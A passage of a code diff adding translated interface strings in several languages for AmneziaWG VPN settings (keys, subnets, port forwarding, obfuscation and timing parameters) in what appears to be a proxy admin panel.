"amneziaWgForwardedPorts": "Portas encaminhadas",
"amneziaWgForwardedPortsHint": "Portas/intervalos redirecionados (DNAT) para este cliente, ex. 80, 443, 8000-8100. Deixe vazio se não aplicável.",
"amneziaWgConfig": "Configuração do AmneziaWG",
"mtprotoSecret": "Segredo MTProto",
"mtprotoSecretHint": "O segredo FakeTLS do cliente. Gere novamente para trocá-lo.",
"mtprotoAdTag": "Ad-tag (canal patrocinado)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "Chave Secreta",
"publicKey": "Chave Pública",
"subnetIp": "Sub-rede",
"subnetCidr": "CIDR da Sub-rede",
"allowedIPs": "IPs Permitidos",
"endpoint": "Ponto Final",
"domainStrategy": "Estratégia de Domínio"
},
"amneziawg": {
"privateKey": "Chave Privada",
"publicKey": "Chave Pública",
"subnetIp": "Sub-rede",
"subnetCidr": "CIDR da Sub-rede",
"mtu": "MTU",
"primaryDns": "DNS Primário",
"secondaryDns": "DNS Secundário",
"externalInterface": "Interface Externa",
"externalInterfaceHint": "Interface de rede do host para NAT (PostUp/PostDown). Deixe vazio para detecção automática.",
"ipv6Enabled": "Ativar IPv6",
"ipv6Subnet": "Sub-rede IPv6",
"ipv6SubnetHint": "ex. fd86:ea04:1115::/64. Obrigatório quando o IPv6 está ativado.",
"ipv6ExternalInterface": "Interface externa IPv6",
"ipv6ExternalInterfaceHint": "Interface de rede do host para as entradas de proxy NDP. Deixe vazio para reutilizar a interface externa.",
"obfuscation": "Parâmetros de ofuscação",
"regenerateObfuscation": "Regenerar",
"jc": "Jc (quantidade de pacotes de lixo)",
"jmin": "Jmin (tamanho mínimo do pacote de lixo)",
"jmax": "Jmax (tamanho máximo do pacote de lixo)",
"s1": "S1 (preenchimento do pacote init)",
"s2": "S2 (preenchimento do pacote response)",
"s3": "S3 (preenchimento de cookie reply)",
"s4": "S4 (preenchimento do pacote de transporte)",
"h1": "H1 (cabeçalho mágico)",
"h2": "H2 (cabeçalho mágico)",
"h3": "H3 (cabeçalho mágico)",
"h4": "H4 (cabeçalho mágico)",
"hHint": "Um número inteiro ou um intervalo. Deixe vazio para os valores clássicos 1/2/3/4.",
"i1": "I1 (pacote de assinatura)",
"i1Hint": "Pacote de assinatura opcional. Deixe vazio para omiti-lo.",
"i2": "I2 (pacote de assinatura)",
"i3": "I3 (pacote de assinatura)",
"i4": "I4 (pacote de assinatura)",
"i5": "I5 (pacote de assinatura)",
"headerProtectionKey": "HeaderProtectionKey (proteção de cabeçalhos)",
"headerProtectionKeyHint": "Chave Base64 de 32 bytes; deve coincidir na configuração de cada cliente. Deixe vazio para desativar a proteção de cabeçalhos.",
"contentPaddingAddition": "ContentPaddingAddition (preenchimento de conteúdo)",
"contentPaddingAdditionHint": "Um inteiro ou um intervalo de bytes adicionado aos pacotes de conteúdo. Deixe vazio para desativar.",
"rekeyAfterTime": "RekeyAfterTime (segundos)",
"rekeyTimeout": "RekeyTimeout (segundos)",
"rejectAfterTime": "RejectAfterTime (segundos)",
"keepaliveTimeout": "KeepaliveTimeout (segundos)",
"maxHandshakeAttempts": "MaxHandshakeAttempts",
"timingRangeHint": "Um inteiro ou um intervalo. Deixe vazio para manter o padrão do WireGuard.",
"maxHandshakeAttemptsHint": "Tentativas de handshake antes de desistir. Deixe vazio para o padrão.",
"randomTrailers": "RandomTrailers",
"randomTrailersHint": "Acrescenta bytes aleatórios a cada pacote. Ambos os lados precisam do AmneziaWG 3.1+.",
"disableCookies": "DisableCookies",
"disableCookiesHint": "Nunca enviar cookie replies — remove uma impressão digital de DPI, mas enfraquece a mitigação de inundações."
},
"tun": {
"userLevel": "Nível do Usuário"
},
+70
View File
@@ -232,6 +232,15 @@
"logs": "Логи",
"accessLogs": "Логи доступа",
"autoUpdate": "Автообновление",
"amneziawgLogs": "Логи AmneziaWG",
"amneziawgHandshake": "Последнее рукопожатие",
"amneziawgInterface": "Интерфейс",
"amneziawgInbound": "Входящее",
"amneziawgEndpoint": "Точка подключения",
"amneziawgIdle": "Простой",
"amneziawgEvents": "События",
"amneziawgNoPeers": "Нет активных пиров AmneziaWG",
"amneziawgNoEvents": "События AmneziaWG пока не зафиксированы",
"config": "Конфигурация",
"backupTitle": "Бэкап и восстановление",
"exportDatabase": "Экспорт базы данных",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "Общий ключ WireGuard",
"wireguardAllowedIPs": "Разрешённые IP WireGuard",
"wireguardAllowedIPsHint": "Оставьте пустым для автоназначения; разделяйте записи запятыми",
"amneziaWgPrivateKey": "Приватный ключ AmneziaWG",
"amneziaWgPublicKey": "Публичный ключ AmneziaWG",
"amneziaWgPreSharedKey": "Общий ключ AmneziaWG",
"amneziaWgAllowedIPs": "Разрешённые IP AmneziaWG",
"amneziaWgAllowedIPsHint": "Оставьте пустым для автоназначения; разделяйте записи запятыми",
"amneziaWgForwardedPorts": "Проброс портов",
"amneziaWgForwardedPortsHint": "Порты/диапазоны, DNAT'ящиеся на этого клиента, например 80, 443, 8000-8100. Оставьте пустым, если не нужно.",
"amneziaWgConfig": "Конфиг AmneziaWG",
"mtprotoSecret": "Секрет MTProto",
"mtprotoSecretHint": "Секрет FakeTLS клиента. Перегенерируйте, чтобы сменить.",
"mtprotoAdTag": "Рекламный тег (спонсорский канал)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "Секретный ключ",
"publicKey": "Публичный ключ",
"subnetIp": "Подсеть",
"subnetCidr": "Маска подсети (CIDR)",
"allowedIPs": "Разрешенные IP-адреса",
"endpoint": "Конечная точка",
"domainStrategy": "Стратегия домена"
},
"amneziawg": {
"privateKey": "Приватный ключ",
"publicKey": "Публичный ключ",
"subnetIp": "Подсеть",
"subnetCidr": "Маска подсети (CIDR)",
"mtu": "MTU",
"primaryDns": "Основной DNS",
"secondaryDns": "Резервный DNS",
"externalInterface": "Внешний интерфейс",
"externalInterfaceHint": "Сетевой интерфейс хоста для NAT (PostUp/PostDown). Оставьте пустым для автоопределения.",
"ipv6Enabled": "Включить IPv6",
"ipv6Subnet": "Подсеть IPv6",
"ipv6SubnetHint": "Например, fd86:ea04:1115::/64. Обязательно при включённом IPv6.",
"ipv6ExternalInterface": "Внешний интерфейс для IPv6",
"ipv6ExternalInterfaceHint": "Сетевой интерфейс хоста, на который алиасится IPv6-адрес каждого клиента. Оставьте пустым, чтобы использовать «Внешний интерфейс».",
"obfuscation": "Параметры обфускации",
"regenerateObfuscation": "Сгенерировать заново",
"jc": "Jc (кол-во мусорных пакетов)",
"jmin": "Jmin (мин. размер мусорного пакета)",
"jmax": "Jmax (макс. размер мусорного пакета)",
"s1": "S1 (мусор init-пакета)",
"s2": "S2 (мусор response-пакета)",
"s3": "S3 (паддинг cookie reply)",
"s4": "S4 (паддинг transport-пакета)",
"h1": "H1 (магический заголовок)",
"h2": "H2 (магический заголовок)",
"h3": "H3 (магический заголовок)",
"h4": "H4 (магический заголовок)",
"hHint": "Целое число или диапазон low-high. Оставьте пустым для классических значений 1/2/3/4.",
"i1": "I1 (сигнатурный пакет)",
"i1Hint": "Необязательный сигнатурный пакет. Оставьте пустым, чтобы не отправлять.",
"i2": "I2 (сигнатурный пакет)",
"i3": "I3 (сигнатурный пакет)",
"i4": "I4 (сигнатурный пакет)",
"i5": "I5 (сигнатурный пакет)",
"headerProtectionKey": "HeaderProtectionKey (защита заголовков)",
"headerProtectionKeyHint": "Ключ Base64 длиной 32 байта; должен совпадать в конфигурации каждого клиента. Оставьте пустым, чтобы отключить защиту заголовков.",
"contentPaddingAddition": "ContentPaddingAddition (паддинг содержимого)",
"contentPaddingAdditionHint": "Целое число или диапазон байт, добавляемых к пакетам с данными. Оставьте пустым, чтобы отключить.",
"rekeyAfterTime": "RekeyAfterTime (секунды)",
"rekeyTimeout": "RekeyTimeout (секунды)",
"rejectAfterTime": "RejectAfterTime (секунды)",
"keepaliveTimeout": "KeepaliveTimeout (секунды)",
"maxHandshakeAttempts": "MaxHandshakeAttempts",
"timingRangeHint": "Целое число или диапазон low-high. Оставьте пустым для значения WireGuard по умолчанию.",
"maxHandshakeAttemptsHint": "Число повторов рукопожатия до отказа. Оставьте пустым для значения по умолчанию.",
"randomTrailers": "RandomTrailers",
"randomTrailersHint": "Добавляет случайные байты в конец каждого пакета. Обе стороны должны поддерживать AmneziaWG 3.1+.",
"disableCookies": "DisableCookies",
"disableCookiesHint": "Не отправлять cookie reply — убирает сигнатуру для DPI, но ослабляет защиту от флуда."
},
"tun": {
"userLevel": "Уровень пользователя"
},
+70
View File
@@ -232,6 +232,15 @@
"logs": "Günlükler",
"accessLogs": "Erişim Günlükleri",
"autoUpdate": "Otomatik Güncelleme",
"amneziawgLogs": "AmneziaWG Günlükleri",
"amneziawgHandshake": "Son El Sıkışma",
"amneziawgInterface": "Arayüz",
"amneziawgInbound": "Gelen",
"amneziawgEndpoint": "Uç Nokta",
"amneziawgIdle": "Boşta",
"amneziawgEvents": "Olaylar",
"amneziawgNoPeers": "Şu anda etkin AmneziaWG eşi yok",
"amneziawgNoEvents": "Henüz AmneziaWG olayı kaydedilmedi",
"config": "Yapılandırma",
"backupTitle": "Yedekleme ve Geri Yükleme",
"exportDatabase": "Yedekle",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "WireGuard Ön Paylaşımlı Anahtar",
"wireguardAllowedIPs": "WireGuard İzin Verilen IP'ler",
"wireguardAllowedIPsHint": "Otomatik atama için boş bırakın; girişleri virgülle ayırın",
"amneziaWgPrivateKey": "AmneziaWG Özel Anahtarı",
"amneziaWgPublicKey": "AmneziaWG Genel Anahtarı",
"amneziaWgPreSharedKey": "AmneziaWG Ön Paylaşımlı Anahtar",
"amneziaWgAllowedIPs": "AmneziaWG İzin Verilen IP'ler",
"amneziaWgAllowedIPsHint": "Otomatik atama için boş bırakın; girişleri virgülle ayırın",
"amneziaWgForwardedPorts": "Yönlendirilen Portlar",
"amneziaWgForwardedPortsHint": "Bu istemciye DNAT ile yönlendirilen port/aralıklar, örn. 80, 443, 8000-8100. Yoksa boş bırakın.",
"amneziaWgConfig": "AmneziaWG Yapılandırması",
"mtprotoSecret": "MTProto sırrı",
"mtprotoSecretHint": "İstemcinin FakeTLS sırrı. Değiştirmek için yeniden oluşturun.",
"mtprotoAdTag": "Reklam etiketi (sponsorlu kanal)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "Gizli Anahtar",
"publicKey": "Genel Anahtar",
"subnetIp": "Alt Ağ",
"subnetCidr": "Alt Ağ CIDR",
"allowedIPs": "İzin Verilen IP'ler",
"endpoint": "Uç Nokta",
"domainStrategy": "Alan Adı Stratejisi"
},
"amneziawg": {
"privateKey": "Özel Anahtar",
"publicKey": "Genel Anahtar",
"subnetIp": "Alt Ağ",
"subnetCidr": "Alt Ağ CIDR",
"mtu": "MTU",
"primaryDns": "Birincil DNS",
"secondaryDns": "İkincil DNS",
"externalInterface": "Harici Arayüz",
"externalInterfaceHint": "NAT (PostUp/PostDown) için sunucu ağ arayüzü. Otomatik algılama için boş bırakın.",
"ipv6Enabled": "IPv6'yı Etkinleştir",
"ipv6Subnet": "IPv6 Alt Ağı",
"ipv6SubnetHint": "örn. fd86:ea04:1115::/64. IPv6 etkinken zorunludur.",
"ipv6ExternalInterface": "IPv6 Harici Arayüzü",
"ipv6ExternalInterfaceHint": "NDP proxy girişleri için sunucu ağ arayüzü. Harici Arayüzü kullanmak için boş bırakın.",
"obfuscation": "Gizleme parametreleri",
"regenerateObfuscation": "Yeniden oluştur",
"jc": "Jc (gereksiz paket sayısı)",
"jmin": "Jmin (min gereksiz paket boyutu)",
"jmax": "Jmax (maks gereksiz paket boyutu)",
"s1": "S1 (init paketi dolgu boyutu)",
"s2": "S2 (response paketi dolgu boyutu)",
"s3": "S3 (cookie reply dolgusu)",
"s4": "S4 (transport paketi dolgusu)",
"h1": "H1 (sihirli başlık)",
"h2": "H2 (sihirli başlık)",
"h3": "H3 (sihirli başlık)",
"h4": "H4 (sihirli başlık)",
"hHint": "Tek bir tam sayı veya bir aralık. Klasik 1/2/3/4 varsayılanları için boş bırakın.",
"i1": "I1 (imza paketi)",
"i1Hint": "İsteğe bağlı imza paketi. Göndermemek için boş bırakın.",
"i2": "I2 (imza paketi)",
"i3": "I3 (imza paketi)",
"i4": "I4 (imza paketi)",
"i5": "I5 (imza paketi)",
"headerProtectionKey": "HeaderProtectionKey (başlık koruması)",
"headerProtectionKeyHint": "32 baytlık Base64 anahtar; her istemcinin yapılandırmasıyla eşleşmelidir. Başlık korumasını devre dışı bırakmak için boş bırakın.",
"contentPaddingAddition": "ContentPaddingAddition (içerik dolgusu)",
"contentPaddingAdditionHint": "İçerik paketlerine eklenen tek bir tam sayı veya bayt aralığı. Devre dışı bırakmak için boş bırakın.",
"rekeyAfterTime": "RekeyAfterTime (saniye)",
"rekeyTimeout": "RekeyTimeout (saniye)",
"rejectAfterTime": "RejectAfterTime (saniye)",
"keepaliveTimeout": "KeepaliveTimeout (saniye)",
"maxHandshakeAttempts": "MaxHandshakeAttempts",
"timingRangeHint": "Tek bir tam sayı veya bir aralık. WireGuard varsayılanı için boş bırakın.",
"maxHandshakeAttemptsHint": "Vazgeçmeden önceki el sıkışma denemesi sayısı. Varsayılan için boş bırakın.",
"randomTrailers": "RandomTrailers",
"randomTrailersHint": "Her paketin sonuna rastgele baytlar ekler. Her iki uç da AmneziaWG 3.1+ gerektirir.",
"disableCookies": "DisableCookies",
"disableCookiesHint": "Cookie reply asla gönderilmez — bir DPI parmak izini kaldırır ancak taşma korumasını zayıflatır."
},
"tun": {
"userLevel": "Kullanıcı Seviyesi"
},
+70
View File
@@ -232,6 +232,15 @@
"logs": "Логи",
"accessLogs": "Логи доступу",
"autoUpdate": "Автооновлення",
"amneziawgLogs": "Логи AmneziaWG",
"amneziawgHandshake": "Останнє рукостискання",
"amneziawgInterface": "Інтерфейс",
"amneziawgInbound": "Вхідне",
"amneziawgEndpoint": "Точка підключення",
"amneziawgIdle": "Очікування",
"amneziawgEvents": "Події",
"amneziawgNoPeers": "Немає активних пірів AmneziaWG",
"amneziawgNoEvents": "Подій AmneziaWG ще не зафіксовано",
"config": "Конфігурація",
"backupTitle": "Резервне копіювання та відновлення",
"exportDatabase": "Резервна копія",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "Спільний ключ WireGuard",
"wireguardAllowedIPs": "Дозволені IP WireGuard",
"wireguardAllowedIPsHint": "Залиште порожнім для автопризначення; розділяйте записи комами",
"amneziaWgPrivateKey": "Приватний ключ AmneziaWG",
"amneziaWgPublicKey": "Публічний ключ AmneziaWG",
"amneziaWgPreSharedKey": "Спільний ключ AmneziaWG",
"amneziaWgAllowedIPs": "Дозволені IP AmneziaWG",
"amneziaWgAllowedIPsHint": "Залиште порожнім для автопризначення; розділяйте записи комами",
"amneziaWgForwardedPorts": "Перенаправлені порти",
"amneziaWgForwardedPortsHint": "Порти/діапазони, що перенаправляються (DNAT) на цього клієнта, напр. 80, 443, 8000-8100. Залиште порожнім, якщо не потрібно.",
"amneziaWgConfig": "Конфігурація AmneziaWG",
"mtprotoSecret": "Секрет MTProto",
"mtprotoSecretHint": "Секрет FakeTLS клієнта. Згенеруйте заново, щоб змінити.",
"mtprotoAdTag": "Рекламний тег (спонсорський канал)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "Приватний ключ",
"publicKey": "Публічний ключ",
"subnetIp": "Підмережа",
"subnetCidr": "CIDR підмережі",
"allowedIPs": "Дозволені IP-адреси",
"endpoint": "Кінцева точка",
"domainStrategy": "Стратегія домену"
},
"amneziawg": {
"privateKey": "Приватний ключ",
"publicKey": "Публічний ключ",
"subnetIp": "Підмережа",
"subnetCidr": "CIDR підмережі",
"mtu": "MTU",
"primaryDns": "Основний DNS",
"secondaryDns": "Резервний DNS",
"externalInterface": "Зовнішній інтерфейс",
"externalInterfaceHint": "Мережевий інтерфейс хоста для NAT (PostUp/PostDown). Залиште порожнім для автовизначення.",
"ipv6Enabled": "Увімкнути IPv6",
"ipv6Subnet": "Підмережа IPv6",
"ipv6SubnetHint": "напр. fd86:ea04:1115::/64. Обов'язково, якщо IPv6 увімкнено.",
"ipv6ExternalInterface": "Зовнішній інтерфейс IPv6",
"ipv6ExternalInterfaceHint": "Мережевий інтерфейс хоста для записів NDP-проксі. Залиште порожнім, щоб використовувати Зовнішній інтерфейс.",
"obfuscation": "Параметри обфускації",
"regenerateObfuscation": "Згенерувати заново",
"jc": "Jc (кількість сміттєвих пакетів)",
"jmin": "Jmin (мін. розмір сміттєвого пакета)",
"jmax": "Jmax (макс. розмір сміттєвого пакета)",
"s1": "S1 (заповнення пакета init)",
"s2": "S2 (заповнення пакета response)",
"s3": "S3 (заповнення cookie reply)",
"s4": "S4 (заповнення транспортного пакета)",
"h1": "H1 (магічний заголовок)",
"h2": "H2 (магічний заголовок)",
"h3": "H3 (магічний заголовок)",
"h4": "H4 (магічний заголовок)",
"hHint": "Ціле число або діапазон. Залиште порожнім для класичних значень 1/2/3/4.",
"i1": "I1 (пакет підпису)",
"i1Hint": "Необов'язковий пакет підпису. Залиште порожнім, щоб не надсилати.",
"i2": "I2 (пакет підпису)",
"i3": "I3 (пакет підпису)",
"i4": "I4 (пакет підпису)",
"i5": "I5 (пакет підпису)",
"headerProtectionKey": "HeaderProtectionKey (захист заголовків)",
"headerProtectionKeyHint": "Ключ Base64 довжиною 32 байти; має збігатися в конфігурації кожного клієнта. Залиште порожнім, щоб вимкнути захист заголовків.",
"contentPaddingAddition": "ContentPaddingAddition (заповнення вмісту)",
"contentPaddingAdditionHint": "Ціле число або діапазон байтів, що додаються до пакетів із даними. Залиште порожнім, щоб вимкнути.",
"rekeyAfterTime": "RekeyAfterTime (секунди)",
"rekeyTimeout": "RekeyTimeout (секунди)",
"rejectAfterTime": "RejectAfterTime (секунди)",
"keepaliveTimeout": "KeepaliveTimeout (секунди)",
"maxHandshakeAttempts": "MaxHandshakeAttempts",
"timingRangeHint": "Ціле число або діапазон. Залиште порожнім для типового значення WireGuard.",
"maxHandshakeAttemptsHint": "Кількість повторних спроб рукостискання. Залиште порожнім для типового значення.",
"randomTrailers": "RandomTrailers",
"randomTrailersHint": "Додає випадкові байти в кінець кожного пакета. Обидві сторони мають підтримувати AmneziaWG 3.1+.",
"disableCookies": "DisableCookies",
"disableCookiesHint": "Ніколи не надсилати cookie reply — прибирає відбиток для DPI, але послаблює захист від флуду."
},
"tun": {
"userLevel": "Рівень користувача"
},
+70
View File
@@ -232,6 +232,15 @@
"logs": "Nhật ký",
"accessLogs": "Nhật ký truy cập",
"autoUpdate": "Tự động cập nhật",
"amneziawgLogs": "Nhật ký AmneziaWG",
"amneziawgHandshake": "Bắt tay gần nhất",
"amneziawgInterface": "Giao diện mạng",
"amneziawgInbound": "Inbound",
"amneziawgEndpoint": "Điểm cuối",
"amneziawgIdle": "Nhàn rỗi",
"amneziawgEvents": "Sự kiện",
"amneziawgNoPeers": "Hiện không có peer AmneziaWG nào hoạt động",
"amneziawgNoEvents": "Chưa ghi nhận sự kiện AmneziaWG nào",
"config": "Cấu hình",
"backupTitle": "Sao lưu & Khôi phục",
"exportDatabase": "Sao lưu",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "Khóa chia sẻ trước WireGuard",
"wireguardAllowedIPs": "IP được phép WireGuard",
"wireguardAllowedIPsHint": "Để trống để tự động gán; phân tách các mục bằng dấu phẩy",
"amneziaWgPrivateKey": "Khóa riêng AmneziaWG",
"amneziaWgPublicKey": "Khóa công khai AmneziaWG",
"amneziaWgPreSharedKey": "Khóa chia sẻ trước AmneziaWG",
"amneziaWgAllowedIPs": "IP được phép AmneziaWG",
"amneziaWgAllowedIPsHint": "Để trống để tự động gán; phân tách các mục bằng dấu phẩy",
"amneziaWgForwardedPorts": "Cổng chuyển tiếp",
"amneziaWgForwardedPortsHint": "Cổng/dải cổng được chuyển tiếp (DNAT) đến client này, vd. 80, 443, 8000-8100. Để trống nếu không cần.",
"amneziaWgConfig": "Cấu hình AmneziaWG",
"mtprotoSecret": "Secret MTProto",
"mtprotoSecretHint": "Secret FakeTLS của client. Tạo lại để thay đổi.",
"mtprotoAdTag": "Ad-tag (kênh tài trợ)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "Khoá bí mật",
"publicKey": "Khóa công khai",
"subnetIp": "Mạng con",
"subnetCidr": "CIDR mạng con",
"allowedIPs": "IP được phép",
"endpoint": "Điểm cuối",
"domainStrategy": "Chiến lược tên miền"
},
"amneziawg": {
"privateKey": "Khóa riêng",
"publicKey": "Khóa công khai",
"subnetIp": "Mạng con",
"subnetCidr": "CIDR mạng con",
"mtu": "MTU",
"primaryDns": "DNS chính",
"secondaryDns": "DNS phụ",
"externalInterface": "Giao diện ngoài",
"externalInterfaceHint": "Card mạng của host dùng cho NAT (PostUp/PostDown). Để trống để tự động phát hiện.",
"ipv6Enabled": "Bật IPv6",
"ipv6Subnet": "Subnet IPv6",
"ipv6SubnetHint": "vd. fd86:ea04:1115::/64. Bắt buộc khi bật IPv6.",
"ipv6ExternalInterface": "Card mạng ngoài IPv6",
"ipv6ExternalInterfaceHint": "Card mạng của host dùng cho các mục NDP proxy. Để trống để dùng lại Card mạng ngoài.",
"obfuscation": "Tham số làm rối (obfuscation)",
"regenerateObfuscation": "Tạo lại",
"jc": "Jc (số lượng gói rác)",
"jmin": "Jmin (kích thước tối thiểu gói rác)",
"jmax": "Jmax (kích thước tối đa gói rác)",
"s1": "S1 (đệm gói init)",
"s2": "S2 (đệm gói response)",
"s3": "S3 (đệm cookie reply)",
"s4": "S4 (đệm gói transport)",
"h1": "H1 (tiêu đề ma thuật)",
"h2": "H2 (tiêu đề ma thuật)",
"h3": "H3 (tiêu đề ma thuật)",
"h4": "H4 (tiêu đề ma thuật)",
"hHint": "Một số nguyên hoặc một khoảng. Để trống để dùng giá trị mặc định cổ điển 1/2/3/4.",
"i1": "I1 (gói chữ ký)",
"i1Hint": "Gói chữ ký tùy chọn. Để trống để bỏ qua.",
"i2": "I2 (gói chữ ký)",
"i3": "I3 (gói chữ ký)",
"i4": "I4 (gói chữ ký)",
"i5": "I5 (gói chữ ký)",
"headerProtectionKey": "HeaderProtectionKey (bảo vệ header)",
"headerProtectionKeyHint": "Khóa Base64 dài 32 byte; phải trùng khớp trong cấu hình của mọi client. Để trống để tắt bảo vệ header.",
"contentPaddingAddition": "ContentPaddingAddition (đệm nội dung)",
"contentPaddingAdditionHint": "Một số nguyên hoặc khoảng byte được thêm vào các gói nội dung. Để trống để tắt.",
"rekeyAfterTime": "RekeyAfterTime (giây)",
"rekeyTimeout": "RekeyTimeout (giây)",
"rejectAfterTime": "RejectAfterTime (giây)",
"keepaliveTimeout": "KeepaliveTimeout (giây)",
"maxHandshakeAttempts": "MaxHandshakeAttempts",
"timingRangeHint": "Một số nguyên hoặc một khoảng. Để trống để dùng giá trị mặc định của WireGuard.",
"maxHandshakeAttemptsHint": "Số lần thử lại bắt tay trước khi bỏ cuộc. Để trống để dùng giá trị mặc định.",
"randomTrailers": "RandomTrailers",
"randomTrailersHint": "Thêm các byte ngẫu nhiên vào cuối mỗi gói. Cả hai đầu cần AmneziaWG 3.1+.",
"disableCookies": "DisableCookies",
"disableCookiesHint": "Không bao giờ gửi cookie reply — xóa một dấu vết DPI nhưng làm yếu khả năng chống flood."
},
"tun": {
"userLevel": "Mức Người Dùng"
},
+70
View File
@@ -232,6 +232,15 @@
"logs": "日志",
"accessLogs": "访问日志",
"autoUpdate": "自动更新",
"amneziawgLogs": "AmneziaWG 日志",
"amneziawgHandshake": "最后握手",
"amneziawgInterface": "网络接口",
"amneziawgInbound": "入站",
"amneziawgEndpoint": "端点",
"amneziawgIdle": "空闲",
"amneziawgEvents": "事件",
"amneziawgNoPeers": "当前没有活动的 AmneziaWG 对端",
"amneziawgNoEvents": "尚未记录 AmneziaWG 事件",
"config": "配置",
"backupTitle": "备份和恢复",
"exportDatabase": "备份",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "WireGuard 预共享密钥",
"wireguardAllowedIPs": "WireGuard 允许的 IP",
"wireguardAllowedIPsHint": "留空则自动分配;多个条目用逗号分隔",
"amneziaWgPrivateKey": "AmneziaWG 私钥",
"amneziaWgPublicKey": "AmneziaWG 公钥",
"amneziaWgPreSharedKey": "AmneziaWG 预共享密钥",
"amneziaWgAllowedIPs": "AmneziaWG 允许的 IP",
"amneziaWgAllowedIPsHint": "留空则自动分配;多个条目用逗号分隔",
"amneziaWgForwardedPorts": "转发端口",
"amneziaWgForwardedPortsHint": "转发到此客户端的端口/范围,例如 80, 443, 8000-8100。留空则不转发。",
"amneziaWgConfig": "AmneziaWG 配置",
"mtprotoSecret": "MTProto 密钥",
"mtprotoSecretHint": "该客户端的 FakeTLS 密钥。重新生成即可更换。",
"mtprotoAdTag": "广告标签(赞助频道)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "密钥",
"publicKey": "公钥",
"subnetIp": "子网",
"subnetCidr": "子网 CIDR",
"allowedIPs": "允许的 IP",
"endpoint": "端点",
"domainStrategy": "域策略"
},
"amneziawg": {
"privateKey": "私钥",
"publicKey": "公钥",
"subnetIp": "子网",
"subnetCidr": "子网 CIDR",
"mtu": "MTU",
"primaryDns": "主 DNS",
"secondaryDns": "备用 DNS",
"externalInterface": "外部网卡",
"externalInterfaceHint": "用于 NATPostUp/PostDown)的主机网卡。留空则自动检测。",
"ipv6Enabled": "启用 IPv6",
"ipv6Subnet": "IPv6 子网",
"ipv6SubnetHint": "例如 fd86:ea04:1115::/64。启用 IPv6 时必填。",
"ipv6ExternalInterface": "IPv6 外部网卡",
"ipv6ExternalInterfaceHint": "用于 NDP 代理条目的主机网卡。留空则使用外部网卡。",
"obfuscation": "混淆参数",
"regenerateObfuscation": "重新生成",
"jc": "Jc(垃圾包数量)",
"jmin": "Jmin(垃圾包最小大小)",
"jmax": "Jmax(垃圾包最大大小)",
"s1": "S1init 包填充大小)",
"s2": "S2response 包填充大小)",
"s3": "S3cookie reply 填充)",
"s4": "S4(传输包填充)",
"h1": "H1(魔术头)",
"h2": "H2(魔术头)",
"h3": "H3(魔术头)",
"h4": "H4(魔术头)",
"hHint": "单个整数或范围。留空则使用经典默认值 1/2/3/4。",
"i1": "I1(签名包)",
"i1Hint": "可选的签名包。留空则不发送。",
"i2": "I2(签名包)",
"i3": "I3(签名包)",
"i4": "I4(签名包)",
"i5": "I5(签名包)",
"headerProtectionKey": "HeaderProtectionKey(头部保护)",
"headerProtectionKeyHint": "Base64 编码的 32 字节密钥;必须与每个客户端配置一致。留空则禁用头部保护。",
"contentPaddingAddition": "ContentPaddingAddition(内容填充)",
"contentPaddingAdditionHint": "单个整数或 low-high 字节范围,附加到内容数据包。留空则禁用。",
"rekeyAfterTime": "RekeyAfterTime(秒)",
"rekeyTimeout": "RekeyTimeout(秒)",
"rejectAfterTime": "RejectAfterTime(秒)",
"keepaliveTimeout": "KeepaliveTimeout(秒)",
"maxHandshakeAttempts": "MaxHandshakeAttempts",
"timingRangeHint": "单个整数或范围。留空则使用 WireGuard 默认值。",
"maxHandshakeAttemptsHint": "放弃前的握手重试次数。留空则使用默认值。",
"randomTrailers": "RandomTrailers",
"randomTrailersHint": "在每个数据包末尾追加随机字节。两端都需要 AmneziaWG 3.1+。",
"disableCookies": "DisableCookies",
"disableCookiesHint": "从不发送 cookie reply——消除一个 DPI 指纹,但会削弱抗洪泛能力。"
},
"tun": {
"userLevel": "用户级别"
},
+70
View File
@@ -232,6 +232,15 @@
"logs": "記錄",
"accessLogs": "存取記錄",
"autoUpdate": "自動更新",
"amneziawgLogs": "AmneziaWG 日誌",
"amneziawgHandshake": "最後握手",
"amneziawgInterface": "網路介面",
"amneziawgInbound": "入站",
"amneziawgEndpoint": "端點",
"amneziawgIdle": "閒置",
"amneziawgEvents": "事件",
"amneziawgNoPeers": "目前沒有活躍的 AmneziaWG 對端",
"amneziawgNoEvents": "尚未記錄 AmneziaWG 事件",
"config": "配置",
"backupTitle": "備份和恢復",
"exportDatabase": "備份",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "WireGuard 預共用金鑰",
"wireguardAllowedIPs": "WireGuard 允許的 IP",
"wireguardAllowedIPsHint": "留空則自動分配;多個條目用逗號分隔",
"amneziaWgPrivateKey": "AmneziaWG 私鑰",
"amneziaWgPublicKey": "AmneziaWG 公鑰",
"amneziaWgPreSharedKey": "AmneziaWG 預共用金鑰",
"amneziaWgAllowedIPs": "AmneziaWG 允許的 IP",
"amneziaWgAllowedIPsHint": "留空則自動分配;多個條目用逗號分隔",
"amneziaWgForwardedPorts": "轉發連接埠",
"amneziaWgForwardedPortsHint": "轉發到此客戶端的連接埠/範圍,例如 80, 443, 8000-8100。留空則不轉發。",
"amneziaWgConfig": "AmneziaWG 設定",
"mtprotoSecret": "MTProto 金鑰",
"mtprotoSecretHint": "該用戶端的 FakeTLS 金鑰。重新產生即可更換。",
"mtprotoAdTag": "廣告標籤(贊助頻道)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "金鑰",
"publicKey": "公鑰",
"subnetIp": "子網路",
"subnetCidr": "子網路 CIDR",
"allowedIPs": "允許的 IP",
"endpoint": "端點",
"domainStrategy": "域策略"
},
"amneziawg": {
"privateKey": "私鑰",
"publicKey": "公鑰",
"subnetIp": "子網路",
"subnetCidr": "子網路 CIDR",
"mtu": "MTU",
"primaryDns": "主要 DNS",
"secondaryDns": "次要 DNS",
"externalInterface": "外部網路介面",
"externalInterfaceHint": "用於 NATPostUp/PostDown)的主機網路介面。留空則自動偵測。",
"ipv6Enabled": "啟用 IPv6",
"ipv6Subnet": "IPv6 子網路",
